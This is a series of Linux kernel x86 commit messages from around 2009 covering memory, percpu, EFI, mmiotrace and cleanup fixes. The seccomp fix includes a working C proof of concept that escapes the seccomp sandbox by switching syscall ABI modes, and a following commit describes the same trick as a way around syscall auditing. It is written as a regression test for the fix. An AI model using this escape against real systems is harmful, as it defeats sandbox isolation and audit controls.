Impact: fix lguest boot crash on modern Intel machines
The code in early_init_intel does:
if (c->x86 > 6 || (c->x86 == 6 && c->x86_model >= 0xd)) {
u64 misc_enable;
rdmsrl(MSR_IA32_MISC_ENABLE, misc_enable);
And that rdmsr faults (not allowed from non-0 PL). We can get around
this by mugging the family ID part of the cpuid. 5 seems like a good
number.
Of course, this is a hack (how very lguest!). We could just indicate
that we don't support MSRs, or implement lguest_rdmst.
Reported-by: Patrick McHardy <kaber@trash.net>
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Tested-by: Patrick McHardy <kaber@trash.net>
Impact: fix race+crash in mmiotrace
The list manipulation in remove_kmmio_fault_pages() was broken. If more
than one consecutive kmmio_fault_page was re-added during the grace
period between unregister_kmmio_probe() and remove_kmmio_fault_pages(),
the list manipulation failed to remove pages from the release list.
After a second grace period the pages get into rcu_free_kmmio_fault_pages()
and raise a BUG_ON() kernel crash.
The list manipulation is fixed to properly remove pages from the release
list.
This bug has been present from the very beginning of mmiotrace in the
mainline kernel. It was introduced in 0fd0e3da ("x86: mmiotrace full
patch, preview 1");
An urgent fix for Linus. Tested by Stuart (on 32-bit) and Pekka
(on amd and intel 64-bit systems, nouveau and nvidia proprietary).
Signed-off-by: Stuart Bennett <stuart@freedesktop.org>
Signed-off-by: Pekka Paalanen <pq@iki.fi>
LKML-Reference: <20090308202135.34933feb@daedalus.pq.iki.fi>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
In uv_flush_tlb_others() (arch/x86/kernel/tlb_uv.c),
the "WARN_ON(!in_atomic())" fails if CONFIG_PREEMPT is not enabled.
And CONFIG_PREEMPT is not enabled by default in the distribution that
most UV owners will use.
We could #ifdef CONFIG_PREEMPT the warning, but that is not good form.
And there seems to be no suitable fix to in_atomic() when CONFIG_PREMPT
is not on.
As Ingo commented:
> and we have no proper primitive to test for atomicity. (mainly
> because we dont know about atomicity on a non-preempt kernel)
So we drop the WARN_ON.
Signed-off-by: Cliff Wickman <cpw@sgi.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
ds_write_config() can write the BTS as well as the PEBS part of
the DS config. ds_request_pebs() passes the wrong qualifier, which
results in the wrong configuration to be written.
Reported-by: Stephane Eranian <eranian@googlemail.com>
Signed-off-by: Markus Metzger <markus.t.metzger@intel.com>
LKML-Reference: <20090305085721.A22550@sedona.ch.intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
In case a ptraced task is reaped (while the tracer is still attached),
ds_exit_thread() is called before ptrace_exit(). The latter will
release the bts_tracer and remove the thread's ds_ctx.
The former will WARN() if the context is not NULL.
Oleg Nesterov submitted patches that move ptrace_exit() before
exit_thread() and thus reverse the order of the above calls.
Remove the bad warning. I will add it again when Oleg's changes are in.
Signed-off-by: Markus Metzger <markus.t.metzger@intel.com>
LKML-Reference: <20090305084954.A22000@sedona.ch.intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix relocation overflow during module load
x86_64 uses 32bit relocations for symbol access and static percpu
symbols whether in core or modules must be inside 2GB of the percpu
segement base which the dynamic percpu allocator doesn't guarantee.
This patch makes x86_64 reserve PERCPU_MODULE_RESERVE bytes in the
first chunk so that module percpu areas are always allocated from the
first chunk which is always inside the relocatable range.
This problem exists for any percpu allocator but is easily triggered
when using the embedding allocator because the second chunk is located
beyond 2GB on it.
This patch also changes the meaning of PERCPU_DYNAMIC_RESERVE such
that it only indicates the size of the area to reserve for dynamic
allocation as static and dynamic areas can be separate. New
PERCPU_DYNAMIC_RESERVED is increased by 4k for both 32 and 64bits as
the reserved area separation eats away some allocatable space and
having slightly more headroom (currently between 4 and 8k after
minimal boot sans module area) makes sense for common case
performance.
x86_32 can address anywhere from anywhere and doesn't need reserving.
Mike Galbraith first reported the problem first and bisected it to the
embedding percpu allocator commit.
Signed-off-by: Tejun Heo <tj@kernel.org>
Reported-by: Mike Galbraith <efault@gmx.de>
Reported-by: Jaswinder Singh Rajput <jaswinder@kernel.org>
Impact: add reserved allocation functionality and use it for module
percpu variables
This patch implements reserved allocation from the first chunk. When
setting up the first chunk, arch can ask to set aside certain number
of bytes right after the core static area which is available only
through a separate reserved allocator. This will be used primarily
for module static percpu variables on architectures with limited
relocation range to ensure that the module perpcu symbols are inside
the relocatable range.
If reserved area is requested, the first chunk becomes reserved and
isn't available for regular allocation. If the first chunk also
includes piggy-back dynamic allocation area, a separate chunk mapping
the same region is created to serve dynamic allocation. The first one
is called static first chunk and the second dynamic first chunk.
Although they share the page map, their different area map
initializations guarantee they serve disjoint areas according to their
purposes.
If arch doesn't setup reserved area, reserved allocation is handled
like any other allocation.
Signed-off-by: Tejun Heo <tj@kernel.org>
Impact: reduce unnecessary memory usage on certain configurations
Embedding percpu allocator allocates unit_size *
smp_num_possible_cpus() bytes consecutively and use it for the first
chunk. However, if the static area is small, this can result in
excessive prellocated free space in the first chunk due to
PCPU_MIN_UNIT_SIZE restriction.
This patch makes embedding percpu allocator preallocate only what's
necessary as described by PERPCU_DYNAMIC_RESERVE and return the
leftover to the bootmem allocator.
Signed-off-by: Tejun Heo <tj@kernel.org>
Impact: argument semantic cleanup
In pcpu_setup_first_chunk(), zero @unit_size and @dyn_size meant
auto-sizing. It's okay for @unit_size as 0 doesn't make sense but 0
dynamic reserve size is valid. Alos, if arch @dyn_size is calculated
from other parameters, it might end up passing in 0 @dyn_size and
malfunction when the size is automatically adjusted.
This patch makes both @unit_size and @dyn_size ssize_t and use -1 for
auto sizing.
Signed-off-by: Tejun Heo <tj@kernel.org>
The latency of p4-clockmod sucks so hard that scaling on a regular
basis with ondemand is a really bad idea.
Signed-off-by: Matthew Garrett <mjg59@srcf.ucam.org>
Signed-off-by: Dave Jones <davej@redhat.com>
Dell XPS710 will hang on reboot. This is resolved by adding a quirk to
set bios reboot.
Signed-off-by: Leann Ogasawara <leann.ogasawara@canonical.com>
Signed-off-by: Tim Gardner <tim.gardner@canonical.com>
Cc: "manoj.iyer" <manoj.iyer@canonical.com>
Cc: <stable@kernel.org>
LKML-Reference: <1236196380.3231.89.camel@emiko>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix math-emu related crash while using GDB/ptrace
init_fpu() calls finit to initialize a task's xstate, while finit always
works on the current task. If we use PTRACE_GETFPREGS on another
process and both processes did not already use floating point, we get
a null pointer exception in finit.
This patch creates a new function finit_task that takes a task_struct
parameter. finit becomes a wrapper that simply calls finit_task with
current. On the plus side this avoids many calls to get_current which
would each resolve to an inline assembler mov instruction.
An empty finit_task has been added to i387.h to avoid linker errors in
case the compiler still emits the call in init_fpu when
CONFIG_MATH_EMULATION is not defined.
The declaration of finit in i387.h has been removed as the remaining
code using this function gets its prototype from fpu_proto.h.
Signed-off-by: Daniel Glöckner <dg@emlix.com>
Cc: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: "Pallipadi Venkatesh" <venkatesh.pallipadi@intel.com>
Cc: Arjan van de Ven <arjan@infradead.org>
Cc: Bill Metzenthen <billm@melbpc.org.au>
LKML-Reference: <E1Lew31-0004il-Fg@mailer.emlix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: Fix boot failure on EFI system with large runtime memory range
Brian Maly reported that some EFI system with large runtime memory
range can not boot. Because the FIX_MAP used to map runtime memory
range is smaller than run time memory range.
This patch fixes this issue by re-implement efi_ioremap() with
init_memory_mapping().
Reported-and-tested-by: Brian Maly <bmaly@redhat.com>
Signed-off-by: Huang Ying <ying.huang@intel.com>
Cc: Brian Maly <bmaly@redhat.com>
Cc: Yinghai Lu <yinghai@kernel.org>
LKML-Reference: <1236135513.6204.306.camel@yhuang-dev.sh.intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: reactivate DMI quirks on EFI hardware
DMI tables are loaded by EFI, so the dmi calls must happen after
efi_init() and not before.
Currently Apple hardware uses DMI to determine the framebuffer mappings
for efifb. Without DMI working you also have no video on MacBook Pro.
This patch resolves the DMI issue for EFI hardware (DMI is now properly
detected at boot), and additionally efifb now loads on Apple hardware
(i.e. video works).
Signed-off-by: Brian Maly <bmaly@redhat>
Acked-by: Yinghai Lu <yinghai@kernel.org>
Cc: ying.huang@intel.com
LKML-Reference: <49ADEDA3.1030406@redhat.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
arch/x86/kernel/setup.c | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
They are used by __set_fixmap->set_pte_vaddr_pud, which can
be used by arch_setup_additional_pages(), and so is used
after init.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
The function seems to have disappeared at some point, leaving
some vestigial prototypes behind...
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
x86: oprofile: don't set counter width from cpuid on Core2
x86: fix init_memory_mapping() to handle small ranges
* 'tracing/mmiotrace' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
x86 mmiotrace: fix race with release_kmmio_fault_page()
x86 mmiotrace: improve handling of secondary faults
x86 mmiotrace: split set_page_presence()
x86 mmiotrace: fix save/restore page table state
x86 mmiotrace: WARN_ONCE if dis/arming a page fails
x86: add far read test to testmmiotrace
x86: count errors in testmmiotrace.ko
Impact: cleanup
This patch moves set_highmem_pages_init() to arch/x86/mm/highmem_32.c.
The declaration of the function is kept in asm/numa_32.h because
asm/highmem.h is included only if CONFIG_HIGHMEM is enabled so we
can't put the empty static inline function there.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236082212.2675.24.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: unification
This patch introduces a common arch/x86/mm/init.c and moves the identical
free_init_pages() and free_initmem() functions to the file.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236078906.2675.18.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: unification
This patch ports commit 3c1df68b84 ("x86: make
sure initmem is writable") to the 64-bit version to unify implementations of
free_init_pages().
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
Cc: Arjan van de Ven <arjan@linux.intel.com>
LKML-Reference: <1236078904.2675.17.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: unification
This patch adds sanity checks that are already in init_64.c to init_32.c.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236078902.2675.16.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup
This patch changes find_early_table_space() to use roundup() for rounding up
tables to page size to unify the common parts of the 32-bit and 64-bit
implementations.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236077705.2675.6.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup
The __VMALLOC_RESERVE global variable is not used in init_32.c. Move that to
pgtable_32.c to reduce the diff between init_32.c and init_64.c.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236077704.2675.4.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix stuck NMIs and non-working oprofile on certain CPUs
Resetting the counter width of the performance counters on Intel's
Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode.
This should fix bug #12395:
http://bugzilla.kernel.org/show_bug.cgi?id=12395
Signed-off-by: Tim Blechmann <tim@klingt.org>
Signed-off-by: Robert Richter <robert.richter@amd.com>
LKML-Reference: <20090303100412.GC10085@erda.amd.com>
Cc: <stable@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix bad frame in rt_sigreturn on 64-bit
After commit 97286a2b64 some applications
fail to return from signal handler:
[ 145.150133] firefox[3250] bad frame in rt_sigreturn frame:00007f902b44eb28 ip:352e80b307 sp:7f902b44ef70 orax:ffffffffffffffff in libpthread-2.9.so[352e800000+17000]
[ 665.519017] firefox[5420] bad frame in rt_sigreturn frame:00007faa8deaeb28 ip:352e80b307 sp:7faa8deaef70 orax:ffffffffffffffff in libpthread-2.9.so[352e800000+17000]
The root cause is forgetting to keep 64 byte aligned value of
fpstate for next stack pointer calculation.
Reported-by: Jaswinder Singh Rajput <jaswinder@kernel.org>
Reported-by: Mike Galbraith <efault@gmx.de>
Signed-off-by: Hiroshi Shimamoto <h-shimamoto@ct.jp.nec.com>
LKML-Reference: <49AC85C1.7060600@ct.jp.nec.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix failed EFI bootup in certain circumstances
Ying Huang found init_memory_mapping() has problem with small ranges
less than 2M when he tried to direct map the EFI runtime code out of
max_low_pfn_mapped.
It turns out we never considered that case and didn't check the range...
Reported-by: Ying Huang <ying.huang@intel.com>
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Brian Maly <bmaly@redhat.com>
LKML-Reference: <49ACDDED.1060508@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
fix warning in io_mapping_map_wc()
x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases, audit_syscall_entry() will use the wrong system
call number table and the wrong system call argument registers. This
could be used to circumvent a syscall audit configuration that filters
based on the syscall numbers or argument details.
Signed-off-by: Roland McGrath <roland@redhat.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
The virtually mapped percpu space causes us two problems:
- for hypercalls which take an mfn, we need to do a full pagetable
walk to convert the percpu va into an mfn, and
- when a hypercall requires a page to be mapped RO via all its aliases,
we need to make sure its RO in both the percpu mapping and in the
linear mapping
This primarily affects the gdt and the vcpu info structure.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Cc: Xen-devel <xen-devel@lists.xensource.com>
Cc: Gerd Hoffmann <kraxel@redhat.com>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Tejun Heo <htejun@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Its the correct thing to do before using the struct in a prototype.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
With x86-32 and -64 using the same mechanism for managing the
tss io permissions bitmap, large chunks of process*.c are
trivially unifyable, including:
- exit_thread
- flush_thread
- __switch_to_xtra (along with tsc enable/disable)
and as bonus pickups:
- sys_fork
- sys_vfork
(Note: asmlinkage expands to empty on x86-64)
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: remove 32-bit optimization to prepare unification
x86-32 and -64 differ in the way they context-switch tasks
with io permission bitmaps. x86-64 simply copies the next
tasks io bitmap into place (if any) on context switch. x86-32
invalidates the bitmap on context switch, so that the next
IO instruction will fault; at that point it installs the
appropriate IO bitmap.
This makes context switching IO-bitmap-using tasks a bit more
less expensive, at the cost of making the next IO instruction
slower due to the extra fault. This tradeoff only makes sense
if IO-bitmap-using processes are relatively common, but they
don't actually use IO instructions very often.
However, in a typical desktop system, the only process likely
to be using IO bitmaps is the X server, and nothing at all on
a server. Therefore the lazy context switch doesn't really win
all that much, and its just a gratuitious difference from
64-bit code.
This patch removes the lazy context switch, with a view to
unifying this code in a later change.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Remove __cpuinitdata section placement for translation_table
structure, since it is referenced from a functions within .text.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Cc: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Cc: H. Peter Anvin <hpa@zytor.com>
Remove __init section placement for some functions/data, so that
we don't get section mismatch warnings.
Also make inline function instead of empty setup_summit macro.
[v2]
One of them was not caught by
DEBUG_SECTION_MISMATCH=y
magic. Fix it.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Cc: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Cc: H. Peter Anvin <hpa@zytor.com>
Remove __init section placement for some functions, so that we don't
get section mismatch warnings.
[v2]:
2 of them were not caught by
DEBUG_SECTION_MISMATCH=y
magic. Fix it.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Cc: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Cc: H. Peter Anvin <hpa@zytor.com>
Perform same-cluster checking even for masks with all (nr_cpu_ids)
bits set and report correct apicid on success instead.
While at it, convert it to for_each_cpu and newer cpumask api.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Perform same-cluster checking even for masks with all (nr_cpu_ids)
bits set and report BAD_APICID on failure.
While at it, convert it to for_each_cpu.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Remove es7000_cpu_mask_to_apicid_cluster completely, because it's
almost the same as es7000_cpu_mask_to_apicid except 2 code paths.
One of them is about to be removed soon, the another should be
BAD_APICID (it's a fail path).
The _cluster one was not invoked on apic->cpu_mask_to_apicid_and
anyway, since there was no _cluster_and variant.
Also use newer cpumask functions.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
The ones which go only into struct apic are de-inlined
by compiler anyway, so remove the inline specifier from them.
Afterwards, remove bigsmp_setup_portio_remap completely as it
is unused.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: standardize IO on cached ops
On modern CPUs it is almost always a bad idea to use non-temporal stores,
as the regression in this commit has shown it:
30d697f: x86: fix performance regression in write() syscall
The kernel simply has no good information about whether using non-temporal
stores is a good idea or not - and trying to add heuristics only increases
complexity and inserts fragility.
The regression on cached write()s took very long to be found - over two
years. So dont take any chances and let the hardware decide how it makes
use of its caches.
The only exception is drivers/gpu/drm/i915/i915_gem.c: there were we are
absolutely sure that another entity (the GPU) will pick up the dirty
data immediately and that the CPU will not touch that data before the
GPU will.
Also, keep the _nocache() primitives to make it easier for people to
experiment with these details. There may be more clear-cut cases where
non-cached copies can be used, outside of filemap.c.
Cc: Salman Qazi <sqazi@google.com>
Cc: Nick Piggin <npiggin@suse.de>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
There was a theoretical possibility to a race between arming a page in
post_kmmio_handler() and disarming the page in
release_kmmio_fault_page():
cpu0 cpu1
------------------------------------------------------------------
mmiotrace shutdown
enter release_kmmio_fault_page
fault on the page
disarm the page
disarm the page
handle the MMIO access
re-arm the page
put the page on release list
remove_kmmio_fault_pages()
fault on the page
page not known to mmiotrace
fall back to do_page_fault()
*KABOOM*
(This scenario also shows the double disarm case which is allowed.)
Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking
if the page is being released from mmiotrace.
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Upgrade some kmmio.c debug messages to warnings.
Allow secondary faults on probed pages to fall through, and only log
secondary faults that are not due to non-present pages.
Patch edited by Pekka Paalanen.
Signed-off-by: Stuart Bennett <stuart@freedesktop.org>
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
From 36772dcb6ffbbb68254cbfc379a103acd2fbfefc Mon Sep 17 00:00:00 2001
From: Pekka Paalanen <pq@iki.fi>
Date: Sat, 28 Feb 2009 21:34:59 +0200
Split set_page_presence() in kmmio.c into two more functions set_pmd_presence()
and set_pte_presence(). Purely code reorganization, no functional changes.
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
From baa99e2b32449ec7bf147c234adfa444caecac8a Mon Sep 17 00:00:00 2001
From: Pekka Paalanen <pq@iki.fi>
Date: Sun, 22 Feb 2009 20:02:43 +0200
Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the
possibility, that the page was not present when it was armed.
Make arm_kmmio_fault_page() store the previous page presence in struct
kmmio_fault_page and use it on disarm.
This patch was originally written by Stuart Bennett, but Pekka Paalanen
rewrote it a little different.
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Print a full warning once, if arming or disarming a page fails.
Also, if initial arming fails, do not handle the page further. This
avoids the possibility of a page failing to arm and then later claiming
to have handled any fault on that page.
WARN_ONCE added by Pekka Paalanen.
Signed-off-by: Stuart Bennett <stuart@freedesktop.org>
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Apparently pages far into an ioremapped region might not actually be
mapped during ioremap(). Add an optional read test to try to trigger a
multiply faulting MMIO access. Also add more messages to the kernel log
to help debugging.
This patch is based on a patch suggested by
Stuart Bennett <stuart@freedesktop.org>
who discovered bugs in mmiotrace related to normal kernel space faults.
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Check the read values against the written values in the MMIO read/write
test. This test shows if the given MMIO test area really works as
memory, which is a prerequisite for a successful mmiotrace test.
Signed-off-by: Pekka Paalanen <pq@iki.fi>
Cc: Stuart Bennett <stuart@freedesktop.org>
Cc: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
This reverts commit 17581ad812.
Sitsofe Wheeler reported that /dev/dri/card0 is MIA on his EeePC 900
and bisected it to this commit.
Graphics card is an i915 in an EeePC 900:
00:02.0 VGA compatible controller [0300]:
Intel Corporation Mobile 915GM/GMS/910GML
Express Graphics Controller [8086:2592] (rev 04)
( Most likely the ioremap() of the driver failed and hence the card
did not initialize. )
Reported-by: Sitsofe Wheeler <sitsofe@yahoo.com>
Bisected-by: Sitsofe Wheeler <sitsofe@yahoo.com>
Cc: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Cc: Suresh Siddha <suresh.b.siddha@intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix new breakages introduced by previous fix
Commit c132937556 tried to clean up
bootmem arch wrapper but it wasn't quite correct. Before the commit,
the followings were broken.
* Low level interface functions prefixed with __ ignored arch
preference.
* reserve_bootmem(...) can't be mapped into
reserve_bootmem_node(NODE_DATA(0)->bdata, ...) because the node is
not preference here. The region specified MUST fall into the
specified region; otherwise, it will panic.
After the commit,
* If allocation fails for the arch preferred node, it should fallback
to whatever is available. Instead, it simply failed allocation.
There are too many internal details to allow generic wrapping and
still keep things simple for archs. Plus, all that arch wants is a
way to prefer certain node over another.
This patch drops the generic wrapping around alloc_bootmem_core() and
add alloc_bootmem_core() instead. If necessary, arch can define
bootmem_arch_referred_node() macro or function which takes all
allocation information and returns the preferred node. bootmem
generic code will always try the preferred node first and then
fallback to other nodes as usual.
Breakages noted and changes reviewed by Johannes Weiner.
Signed-off-by: Tejun Heo <tj@kernel.org>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
Impact: unification
show_cpuinfo_core is identical for 32 and 64 bit and can be unified,
and CONFIG_X86_HT inherently depends on CONFIG_X86_SMP.
Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: cleanup
Add missing __user annotation to the parameter of get_sigframe().
Also change cast type to void __user * of *fpstate.
Signed-off-by: Hiroshi Shimamoto <h-shimamoto@ct.jp.nec.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: unification
This patch unify fixmap_32.h and fixmap_64.h into fixmap.h.
Things that we can't merge now are using CONFIG_X86_{32,64}
(e.g.:vsyscall and EFI)
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: cleanup
Just prepare fixmap for later mechanic unification.
No real modification on code.
text data bss dec hex filename
3831152 353188 372736 4557076 458914 vmlinux-32.after
3831152 353188 372736 4557076 458914 vmlinux-32.before
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: cleanup
Just prepare fixmap for later mechanic unification.
No real modification on code.
text data bss dec hex filename
4312362 527192 421924 5261478 5048a6 vmlinux-64.after
4312362 527192 421924 5261478 5048a6 vmlinux-64.before
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: new fixmap allocation
FIX_EFI_IO_MAP_FIRST_PAGE is used only when EFI is enabled.
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: New fixmap allocations
Add CONFIG_X86_{LOCAL,IO}_APIC to enum fixed_address.
FIX_APIC_BASE is used only when CONFIG_X86_LOCAL_APIC is
enabled and FIX_IO_APIC_BASE_* are used only when
CONFIG_X86_IO_APIC is enabled.
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: new interface (not yet use)
Define reserve_top_address for x86_64; only for later x86 integration.
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: new interface, not yet used
Now, with these macros, x86_64 code can know where start the
permanent and non-permanent fixed mapped address.
This patch make these macros equal fixmap_32.h for future
x86 integration.
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: rename
Rename __FIXADDR_SIZE to FIXADDR_SIZE
and __FIXADDR_BOOT_SIZE to FIXADDR_BOOT_SIZE.
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
If the TSC is constant and non-stop, also set it reliable.
(We will turn this off in DMI quirks for multi-chassis systems)
The performance number on a 16-way Nehalem system running
32 tasks that context-switch between each other is significant:
